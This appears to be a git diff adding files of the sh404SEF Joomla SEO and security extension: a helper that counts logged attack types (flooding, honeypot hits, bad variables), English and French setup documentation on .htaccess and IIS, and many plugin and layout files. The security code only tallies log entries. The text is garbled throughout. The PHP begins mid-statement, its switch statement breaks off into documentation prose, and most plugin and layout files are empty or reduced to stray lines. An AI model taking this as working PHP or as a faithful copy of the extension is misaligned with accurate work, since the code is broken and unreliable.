b/deployed/sh404sef/administrator/components/com_sh404sef/helpers/security.php @@ -0,0 +1,130 @@ +setValues(self::$_counters); + // update in memory config object + $sefConfig = &Sh404sefFactory::getConfig(true); + } + } + + private static function _shResetSecStats() + { + self::$_counters['shSecCurMonth'] = ''; + self::$_counters['shSecLastUpdated'] = ''; + self::$_counters['shSecTotalAttacks'] = 0; + self::$_counters['shSecTotalConfigVars'] = 0; + self::$_counters['shSecTotalBase64'] = 0; + self::$_counters['shSecTotalScripts'] = 0; + self::$_counters['shSecTotalStandardVars'] = 0; + self::$_counters['shSecTotalImgTxtCmd'] = 0; + self::$_counters['shSecTotalIPDenied'] = 0; + self::$_counters['shSecTotalUserAgentDenied'] = 0; + self::$_counters['shSecTotalFlooding'] = 0; + self::$_counters['shSecTotalPHP'] = 0; + self::$_counters['shSecTotalPHPUserClicked'] = 0; + } + + private static function _shReadSecStatsFromFile($shFileName) + { + $logFile = fopen($shFileName, 'r'); + if ($logFile) + { + while (!feof($logFile)) + { + $line = fgets($logFile, 4096); + self::_shDecodeSecLogLine($line); + } + fClose($logFile); + } + } + + private static function _shDecodeSecLogLine($line) + { + $sefConfig = &Sh404sefFactory::getConfig(); + + // skip comments + if (substr($line, 0, 1) == '#') + { + return; + } + if (preg_match('/[0-9]{2}\-[0-9]{2}\-[0-9]{2}/', $line)) + { // this is not header or comment line + self::$_counters['shSecTotalAttacks']++; + $bits = explode("\t", $line); + switch (substr($bits[2], 0, 15)) + { + case 'Flooding': + self::$_counters['shSecTotalFlooding']++; + break; + case 'Caught by Honey': + self::$_counters['shSecTotalPHP']++; + break; + case 'Honey Pot but u': + self::$_counters['shSecTotalPHPUserClicked']++; + break; + case 'Var not numeric': + case 'Var not alpha-n': + case 'Var contains ou': + self::$_counters['shSecTotalStandardVars']++; + break; + case 'Image file name': + self::$_counters['shSecTotalImgTxtCmd']++; + break; + case ' Installation and setup
    +
      +
    • +
        +
      1. Upload the zip file to Joomla using the component installer in + the usual way.
      2. +
      3. For apache, the .htaccess file that comes with Joomla is FINE!! However, you may have to adjust it's content. Please read again the first paragraph of this documentation
        +
      4. +
      5. For IIS, see Configuring IIS..
      6. +
      7. Go to sh404sef main control panel, from the "Components" menu of Joomla's backend
      8. +
      9. Using the "Quick start" tab, set the "Enable URL optimization" field to Yes, then press on the Go! button next to it
      10. +
      +
    • +
    + +
  3. Configuring IIS
    +
    + +
      +
    • IMPORTANT : We do not provide support for IIS. + A number of users do operate successfully under this web server, and + therefore whether you are looking for information or have + successfully setup sh404sef and IIS and want to share, + the place to be is the support forum. + Please note that good results have been reported using the "no + .htaccess (/index.php/)" operating mode of sh404SEF instead of trying + to setup a rewriting engine in IIS. If you use this operating mode, + you don"t need anything than just sh404SEF. However, again, IIS may + have been configured in a way where even this mode cannot work, so + please report to sh404SEF support forum, or to Joomla Forum for + assistance in setting this up.
      +
      +
    • +
    +
  4. +
  5. Uninstall
    +
      +
    • +
        +
      1. Uninstall the component using Joomla's component uninstaller in the + usual way.
      2. +
      +
    • +
    +
  6. + +
  7. Upgrading
    +
      +
    • +
        +
      1. Install the new version that you downloaded from our web site over the current one, using Joomla's installer. All settings, + custom or automatic urls, titles and meta tags, aliases and such are + preserved upon upgrading, unless you specifically configured sh404sef + to "forget" some or all of this data, using the Advanced tab of + its configuration panel.
        +
      2. +
      +
    • +
    +
  8. + +
+ +
  • +

    Useful Tips For Using sh404SEF

    +
      +
    • +

      Configuration

      + +

      Using sh404SEF configuration is fairly straightforward for most of + it. For more information on each item hover your mouse over the blue + (i) images when you are in the configuration screen.

      +

      When you save configuration you may need to remove all + your URL's from the database, so that they are later on recreated, + taking into account the new parameters.
      + Purging urls is done with the "Purge" button found in the toolbar + of the URL manager. Deleting urls is required only if you have + changed parameters affecting the way URL are built, such as changing + suffix from .htm to .html for instance. If you have a high traffic + site it may be wise to put it offline before purging the database. + After doing that, you should use an online + tool to build automatically a sitemap. The sitemap generator + will go through all of your site, and therefore all of your links, so + they will be all automatically placed in the cache, thus speeding + access for your next visitors.
      + The caching system of sh404SEF is transparent, and will be rebuilt + automatically on a regular basis. Using the cache will vastly speed up + the page load time, by dramatically reducing the number of database + queries. Beware that URL caching uses up a lot of memory though. Its + size can be limited using the appropriate parameter, and it can also + be turned off completely. + +

      +

      If you have a multi-lingual site, you can turn on or off URL + translation. Normally, URL elements will be translated into the user + language. However, it sometimes better not to translate, such as when + using non-latin characters based languages. On such occasions, default + site language will always be used

      +

      + +

      You may want to purge the 404 log before creating fresh urls.

      +
    • +
    • +

      Modifying URL's

      +

      You can modify URL's to your liking. Go into sh404SEF Control Panel + and click 'URL Manager'. Select the URL you wish to modify, change + its SEF url and click on Save. Urls that have been modified from the + version created by sh404sef are marked in the list with a lock icon. + They will not be removed when you do a global purge, but only + if you explicitely remove them. +

    • +
    + + +
    + + +
    Copyright © +2006- Yannick Gaultier - Anything Digital
    +Distributed under the terms of the GNU General Public License.
    + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/fr.postinstall.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/fr.postinstall.php new file mode 100644 index 00000000..abd33442 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/fr.postinstall.php @@ -0,0 +1,89 @@ + +
    +

    sh404SEF a été installé avec succès! merci de lire ce qui suit :

    + + Cette extension +
      +
    • re-écrit les URL de Joomla! pour améliorer l'ergonomie et le référencement
    • +
    • apporte de nombreuses améliorations à Joomla! au niveau référencement
    • +
    • ajoute des fonctions de sécurité
    • +
    • insère un code Google Analytics dans les pages, et affiche des rapports Analytics dans son panneau de contrôle
    • +
    + +
    + + Si c'est la première fois que vous installez sh404SEF, il a bien été installé, mais la plupart de ses fonctions sont désactivées pour l'instant. + Vous devez aller sur le panneau de contrôle (depuis le menu Composants / sh404SEF de Joomla!), + activer ce que vous souhaitez utiliser et valider avant que sh404SEF ne soit activé. + Avant que vous ne fassiez cela, merci de lire les quelques paragraphes qui suivent, dans lesquels se trouvent des informations importantes. + Si vous effectuez une mise à jour depuis une version précédente de sh404SEF, + alors tous vos réglages ont été préservés, le composant est actif et vous pouvez recommencer à naviguer sur votre site normalement. +

    + IMPORTANT : la partie "URL" de sh404SEF peut fonctionner suivant deux modes : + AVEC ou SANS fichier .htaccess. + Le réglage par défaut est maintenant sans fichier .htaccess. Je vous recommende ce réglage si vous n'êtes pas très familier + avec le fait de régler un serveur web, + dans la mesure où il peut quelquefois être difficile de trouver le contenu approprié pour un fichier .htaccess. +

    + Sans fichier .htaccess : Utilisez Activer l'optimisation d'URL sur le panneau de contrôle de sh404SEF pour l'activer. + Vous devriez passer en revue les différents réglages disponibles sur l'onglet Configuration, + mais ce n'est pas absolument nécessaire, car les réglages par défaut ont été soigneusement choisis pour donner les meilleurs résultats dans la plupart des cas + sans modification. + Si vous deviez les modifier, assurez-vous de bien les lire les bulles d'aide en face de chaque réglage. Vous pouvez dés à présent naviguer sur la page + d'accueil de votre site pour générer les URL SEF. +
    + Avec .htaccess : vous devez choisir ce mode spécifiquement. Sur le panneau de contrôle de sh404SEF, vous verrez pour cela une liste de sélection pour changer le Mode de re-écriture. + Vous pourrez ensuite activer l'optimisation des URL comme décrit ci-dessus. + Néanmoins, avant de faire cela, vous devez préparez un fichier .htaccess. Le contenu de ce fichier dépend de votre serveur web, + et il n'est donc pas possible de vous dire exactement ce qu'il doit contenir. + Joomla! propose un fichier .htaccess très générique. Il fonctionnera probablement immédiatement sur votre serveur, mais peut quelquefois requérir des ajustements. + Le fichier de Joomla! est par défaut appelé htaccess.txt, se situe à la racine de votre site, et doit être renommé en .htaccess pour qu'il prenne effet. + Vous trouverez des informations supplémentaires en Anglais sur les fichiers .htaccess à l'adresse anything-digital.com/sh404sef/faqs.html.

    + IMPORTANT: sh404SEF peut produire des URL SEF pour beaucoup de composants Joomla!. + Il utilise pour cela un système de "plugin" (ou greffon), et est livré avec un plugin pour chacun des composants standards de Joomla! (Contact, Weblinks, Newsfeed, Articles,...). + Il dispose également de plugins pour des composants courants comme Community Builder, JomSocial, Kunena, Virtuemart, Sobi2,... + sh404SEF peut également automatiquement utiliser les plugins conçus pour le système SEF de Joomla: les fichiers router.php. + La plupart du temps, les plugins sont installés automatiquement quand vous installez une extension. + Veuillez noter que lorsque vous utilisez l'un de ces plugins non "natif", le fonctionnement peut être dégradé. +
    + Malgré tout, Joomla! disposant de plusieurs milliers d'extensions, il n'est pas possible d'avoir des plugins pour chacune d'entre elles, et dans une telle situation, + sh404SEF se rabattra vers une URL simplifiée du type: monsite.fr/component/option,com_sample/task,view/id,23/Itemid,45/. + C'est normal et ne peut être amélioré que si un plugin pour l'extension en questione est créé. + Merci de poster sur le forum si jamais vous souhaitez mettre à disposition un plugin que vous avez créé.
    +
    + Vous trouverez d'autres informations sur notre site +
    + +

    Merci de lire la documentation accessible par le panneau de contrôle de sh404SEF

    +
    + + + + Désolé, une erreur s'est produite pendant l'installation de sh404SEF sur votre site. + Essayez dans un premier temps de désinstaller l'extension, vérifier que les permissions d'accès aux fichiers permettent l'écriture, en particulier ue Joomla! puisse écrire dans le dossier /plugins. + Ou bien contacter votre administrateur technique pour de l'aide.
    Vous pouvez vous rendre également sur notre site et décrire votre problème, en Anglais, sur notre site, sur le forum de support spécifique + + + +
    + +

    sh404SEF en bref

    +

    Site de support

    +
    +Vous trouverez des informations à jour sur + anything-digital.com/sh404sef/seo-analytics-and-security-for-joomla.html. +Veuillez aussi consulter notre forum de support. +Veuillez également consulter notre Foire Aux Questions, + probablement le meilleur endroit pour commencer si quelque chose ne fonctionne pas comme prévu.
    +
    +

    Sommaire

    +

    Permet d'afficher des URL conviviales pour les moteurs de recherche (pour Apache, et probablement pour IIS, bien que non supporté officiellement). +Vous pouvez aussi configurer vos propres URL personnalisées, si vous n'aimez pas celles qui sont automatiquement intégrés. Construire le titre de la page et les balises meta, +et les insérer dans la page. Titre et balises peuvent être ainsi réglés manuellement. Fournit des fonctions de sécurité, +en vérifiant le contenu de l'URL et l'IP du visiteur contre diverses listes de contrôle de sécurité, plus un système anti-débordement.

    + +

    Il possède un système de cache, afin de réduire les requêtes vers la base de données et ainsi améliorer le temps de chargement des pages lorsque vous utilisez la réécriture d'URL.

    +

    sh404SEF peut fonctionner avec ou sans mod_rewrite +(c'est à dire avec ou sans .htaccess file - sous Apache). Les URL sont les mêmes, sauf qu'il est un ajouté /index.php/ dans le cas de non utilisation d'.htaccess. +C'est maintenant le paramètre par défaut, car il est beaucoup plus facile à utiliser. Lorsque vous utilisez ce mode, vous pouvez ajuster votre document d'erreur 404, +les erreurs ne seront plus traitées par Joomla! lors de l'utilisation sans fichier .htaccess, ce qui vous empêchera d'utiliser la fonctionnalité avancée des erreurs de page sh404SEF.

    +

    L'outil intégré gère la réécriture de vos balises META Titre, Description, Mots clés, Robots et les balises meta langue à votre convenance, sur n'importe quelle page de votre site. +Il a un système de plugin pour accueillir un composant, et des plugins pour Virtuemart et pour le contenu régulier sont prévus pour générer automatiquement ces balises, +le cas échéant à partir de SEO. De plus, vous serez en mesure de définir manuellement les balises à votre convenance page par page (une page est identifiée par son URL). +Vous serez en mesure de fixer le titre contenu dans les balises h1, et d'enlever les balises générées par Joomla!, plus un tas d'autres changements SEO utiles.

    +

    Il n'y a pas de modification de Joomla!, juste un plugin standard, installé automatiquement avec sh404SEF.

    +

    Un grand merci à tous les contributeurs des précédentes versions 404SEF et 404SEFx

    +

    Documentation

    + +

    IMPORTANT : si vous prévoyez d'utiliser mod_rewrite (. htaccess) en réécriture :

    +AVANT d'activer ce composant et d'utiliser ses fonctions de réécriture d'URL, +votre installation de Joomla devrait déjà être compatible avec la réécriture d'URL. +Ce n'est pas nécessaire si vous sélectionnez dans les paramètres avancés de SH404SEF sans .htaccess (mais ce mode ne fonctionne pas toujours, cela dépend des paramètres de votre serveur).
    +
    +Rappelez-vous : si vous rencontrez des difficultés, il est peu probable que cela provienne de problème Joomla!, mais très probablement liée à la +configuration de votre serveur. Par exemple, plusieurs fois, vous serez confronté à des erreurs 404 ou des erreurs 500 de serveur interne. +Ceci indique qu'il y a dans votre fichier. htaccess quelque chose qui n'est pas compatible avec la configuration de votre serveur web.
    +
    +Si vous obtenez ce type d'erreur nous vous suggérons de contacter le service d'assistance de votre hébergeur.
    +Si votre htaccess n'est pas compatible avec votre serveur web, ou avec l'hébergeur, il est inutile d'essayer d'utiliser sh404SEF (au moins la partie URL SEF de sh404SEF) + - ou tout autre composant similaire - car vous serez simplement confrontés au même problème. Vous devez d'abord modifier votre installation, + en accordant une attention particulière à l'existence et le contenu de votre fichier .htaccess. + Toutefois, l'une des premières choses à contrôler, si vous utilisez le serveur web Apache : vérifier que le mod_rewrite est chargé par PHP. Pour ce faire, + dans le backend de Joomla, allez au menu Aide, puis Informations système. Sous l'onglet PHP information, il suffit d'exécuter une recherche avec le mot «rewrite». + Si vous ne trouvez rien, alors le mod_rewrite n'est pas chargé et rien ne marchera. Vous devez changer votre fichier httpd.conf du serveur web Apache, + ou contactez votre administrateur système ou votre hébergeur pour le faire pour vous. D'autres serveurs Web tels que Microsoft IIS, nginx, LightHTTPD, + fournissent des fonctions similaires de réécriture d'URL, qui doivent aussi donc être activées dans la configuration du serveur web (elles seront par défaut activées pour la plupart d'entre eux) +

    + +

    Des conseils sur les .htaccess, une question très délicate apparue à plusieurs reprises, peuvent être trouvés en ligne dans notre FAQ. En quelques mots :

    +
      +
    • Le .htaccess standard de Joomla! est très BIEN. Il fonctionne avec la plupart des hébergeurs. Il peut être utilisé sans modification, + au moins pour commencer. Rappelez-vous que le fichier htaccess.txt, doit être renommé en .htaccess avant toute utilisation.
    • +
    • Si vous obtenez l'erreur 404 ou une erreur interne 500, ou similaire, en cliquant sur une URL réécrite, alors vous devriez essayer d'ajouter + un autre # au début de cette ligne (vers le début du fichier htaccess.) :
      +
      + Options FollowSymLinks
      +
      + de sorte qu'il ressemble à :
      +
      + #Options FollowSymLinks
      +
      +
    • +
    • Si cela ne fonctionne pas, et si votre site Joomla est dans un sous-répertoire, vous devez chercher la ligne qui ressemble à :
      + #RewriteBase /
      + et la remplacer par :
      RewriteBase /sous_dossier_de_votre_site_joomla
      +
    • +
    • Sur certains serveurs, même si votre site n'est pas dans un sous-répertoire, vous pouvez essayer de remplacer :
      + #RewriteBase /
      + par
      + RewriteBase /
      +
    • +
    • Un petit conseil : essayez de changer une seule chose à la fois, et vérifier le résultat avant de passer à l'étape suivante
    • +
    +
      +
    1. +

      Introduction

      +

      Voici les principales informations requises pour utiliser sh404SEF. Vous pouvez consulter cette documentation à nouveau en sélectionnant le bouton 'Documentation sh404SEF' + à partir du panneau de contrôle sh404SEF.

      +

      Veuillez noter qu'en aucune façon nous ne fournissons un support pour l'installation avec IIS. sh404SEF fonctionnera en général sur de telles machines, + en utilisant le mode 'sans htaccess' (/index.php/), mais les mêmes restrictions d'avoir les paramètres du serveur approprié s'applique, + tout comme lors de l'utilisation d'Apache ou d'autres serveurs Web. Les versions récentes d'IIS (7.x +) intègrent la réécriture des URL, mais nécessitent une configuration appropriée.

      +
    2. +
    3. +

      Installation et configuration

      +

      Vous pouvez consulter les instructions d'installation ci-dessous en cliquant sur la flèche appropriée.

      +
        +
      1. Installation et configuration
        +
          +
        • +
            +
          1. Téléchargez le fichier zip en utilisant comme d'habitude l'installateur de composant de Joomla!
          2. +
          3. Pour Apache, le fichier htaccess. livré avec Joomla doit normalement fonctionner! Cependant, vous pourriez devoir ajuster son contenu. Veuillez relire le premier paragraphe de cette documentation
            +
          4. +
          5. Pour IIS, voir Configuration IIS
          6. +
          7. Dans le backend de Joomla!, allez à Composants/sh404SEF/panneau de contrôle
          8. +
          9. En utilisant l'onglet 'Démarrage', rubrique 'Activer l'optimisation des URL', cochez Oui, puis appuyez sur le bouton 'Démarrer' situé en dessous
          10. +
          +
        • +
        +
      2. +
      3. Configuration IIS
        +
        + +
          +
        • IMPORTANT : Nous ne fournissons pas de support pour IIS. Un certain nombre d'utilisateurs ont réalisé l'opération avec succès sur ce type de serveur web, + et donc si vous recherchez des informations ou si vous avez réussi la configuration de sh404SEF avec IIS et que vous souhaitez partager, + l'emplacement est le forum. + Veuillez noter que de bons résultats ont été rapportés en utilisant le mode de fonctionnement de sh404SEF 'sans .htaccess' (/index.php/) au lieu d'essayer d'installer un moteur de réécriture dans IIS. + Si vous utilisez ce mode de fonctionnement, vous n'avez besoin que de sh404SEF. Cependant, encore une fois, + IIS peut avoir été configuré d'une manière où même ce mode ne peut pas travailler, donc veuillez vous reporter au support/forum de sh404SEF, + ou au forum Joomla! pour vous aider à la mise en place.
          +
          +
        • +
        +
      4. +
      5. Désinstallation
        +
          +
        • +
            +
          1. Désinstaller le composant en utilisant comme d'habitude le désinstalleur de composant de Joomla!
          2. +
          +
        • +
        +
      6. + +
      7. Mise à jour
        +
          +
        • +
            +
          1. Installez la nouvelle version que vous avez téléchargé depuis notre site web sur l'actuel, en utilisant l'installateur de Joomla! Tous les paramètres, les URL personnalisées ou automatiques, les titres, les balises meta + et les alias sont conservés lors de la mise à niveau, à moins que vous ayez configuré sh404SEF à ne pas conserver tout ou partie de ces données + (voir panneau de contrôle/configuration/onglet Avancé).
            +
          2. +
          +
        • +
        +
      8. + +
      +
    4. +
    5. +

      Conseils utiles pour l'utilisation de sh404SEF

      +
        +
      • +

        Configuration

        + +

        La configuration de sh404SEF est assez simple dans la plupart des cas. Pour plus d'informations sur chaque élément pointer votre souris sur les images en bleues (i) lorsque vous êtes dans l'écran de configuration.

        +

        Lorsque vous enregistrez la configuration vous devrez peut-être supprimer toutes vos URL de la base de données, de sorte qu'elles soient par la suite recréées, + en tenant compte des nouveaux paramètres.
        + La purge des URL s'effectue avec le bouton 'Purge' dans la barre d'outils du gestionnaire d'URL. + La suppression des URL est nécessaire uniquement si vous avez changé les paramètres affectant la manière de construire les URL, + comme le changement de suffixe .htm .html par exemple. Si vous avez un site à fort trafic, il peut être judicieux de le mettre hors ligne avant de purger la base de données. + Après avoir fait cela, vous devriez utiliser un outil en ligne + de génération de plan de site ("sitemap"). . Le générateur de sitemap va parcourir la totalité de votre site, + et donc tous vos liens, de sorte qu'ils seront tous automatiquement placé dans le cache, ce qui accélère l'accès pour les prochains visiteurs.
        + Le système de cache de sh404SEF est transparent, et sera automatiquement reconstruit sur une base régulière. L'utilisation du cache accélère considérablement le temps de chargement d'une page, + en réduisant considérablement le nombre de requêtes vers la base de données. + Attention, la mise en cache des URL utilise beaucoup de mémoire. Sa taille peut être limitée en utilisant le paramètre approprié, et il peut également être désactivée complètement. +

        +

        Si vous avez un site multilingue, vous pouvez activer ou désactiver la traduction URL. Normalement, les URL seront traduites dans la langue de l'utilisateur. + Toutefois, il est parfois préférable de ne pas traduire, comme par exemple lorsque vous utilisez dans la langue des caractères non-latin. + En de telles occasions, la langue par défaut du site sera toujours utilisée

        +

        + +

        Vous voudrez peut-être purger le journal des erreurs 404 avant de créer des URL nouvelles.

        +
      • +
      • +

        Modification des URL

        +

        Vous pouvez modifier les URL à votre convenance. Allez dans le Panneau de contrôle de sh404SEF, dans l'onglet URL. Sélectionnez l'URL que vous souhaitez modifier, changez son URL SEF et cliquez sur Enregistrer. Les URL qui ont été modifiés dans la version créée par + sh404SEF sont marqués dans la liste avec une icône de verrouillage. Elles ne seront pas supprimées lorsque vous effectuez une purge globale, mais seulement si vous les supprimer explicitement. +

      • +
      +
    + +
    + + +
    Copyright © +2006- Yannick Gaultier - Anything Digital
    +Compléments traduction française Jacky Bondoux alias socrates et Philippe Véron alias vezid
    +Distributed under the terms of the GNU General Public License.
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/language/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_chronocontact.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_chronocontact.php new file mode 100644 index 00000000..280eedbb --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_chronocontact.php @@ -0,0 +1,39 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_content.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_content.php new file mode 100644 index 00000000..a94ddaeb --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_content.php @@ -0,0 +1,40 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_docman.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_docman.php new file mode 100644 index 00000000..9f47fbad --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_docman.php @@ -0,0 +1,247 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_hotproperty.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_hotproperty.php new file mode 100644 index 00000000..fe399f2b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_hotproperty.php @@ -0,0 +1,137 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_kunena.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_kunena.php new file mode 100644 index 00000000..35228147 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_kunena.php @@ -0,0 +1,484 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_magazine.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_magazine.php new file mode 100644 index 00000000..3c9cde48 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_magazine.php @@ -0,0 +1,96 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_mtree.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_mtree.php new file mode 100644 index 00000000..d31e1509 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_mtree.php @@ -0,0 +1,264 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_myblog.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_myblog.php new file mode 100644 index 00000000..73500b87 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_myblog.php @@ -0,0 +1,142 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_newsfeeds.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_newsfeeds.php new file mode 100644 index 00000000..b9d0d00e --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_newsfeeds.php @@ -0,0 +1,38 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_poll.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_poll.php new file mode 100644 index 00000000..658a132b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_poll.php @@ -0,0 +1,39 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_rd_rss.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_rd_rss.php new file mode 100644 index 00000000..5eac4969 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_rd_rss.php @@ -0,0 +1,31 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_registration.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_registration.php new file mode 100644 index 00000000..b678c791 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_registration.php @@ -0,0 +1,70 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_remository.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_remository.php new file mode 100644 index 00000000..4ce14942 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_remository.php @@ -0,0 +1,111 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_rsgallery2.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_rsgallery2.php new file mode 100644 index 00000000..79f367c2 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_rsgallery2.php @@ -0,0 +1,39 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_search.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_search.php new file mode 100644 index 00000000..e9b33dd2 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_search.php @@ -0,0 +1,76 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_sobi2.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_sobi2.php new file mode 100644 index 00000000..d0cd447b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_sobi2.php @@ -0,0 +1,69 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_users.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_users.php new file mode 100644 index 00000000..0d1de3fe --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_users.php @@ -0,0 +1,102 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_virtuemart.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_virtuemart.php new file mode 100644 index 00000000..e05bfe10 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_virtuemart.php @@ -0,0 +1,278 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_weblinks.php b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_weblinks.php new file mode 100644 index 00000000..b770b32c --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/com_weblinks.php @@ -0,0 +1,39 @@ + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/language/plugins/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/j2_controlpanel_full.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/j2_controlpanel_full.php new file mode 100644 index 00000000..7af0ae56 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/j2_controlpanel_full.php @@ -0,0 +1,30 @@ + + +
    + +
    + + + + + + + +
    +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/j2_dashboard.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/j2_dashboard.php new file mode 100644 index 00000000..6c4bb46b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/j2_dashboard.php @@ -0,0 +1,97 @@ + + +
    + +
    + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    +
    +
    +
    +
    +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + + diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/j3_controlpanel_full.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/j3_controlpanel_full.php new file mode 100644 index 00000000..e62b6610 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/j3_controlpanel_full.php @@ -0,0 +1,23 @@ + + +
    + +
    +
    +
    diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/j3_dashboard.php b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/j3_dashboard.php new file mode 100644 index 00000000..243e10b8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/layouts/com_sh404sef/analytics/j3_dashboard.php @@ -0,0 +1,33 @@ + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
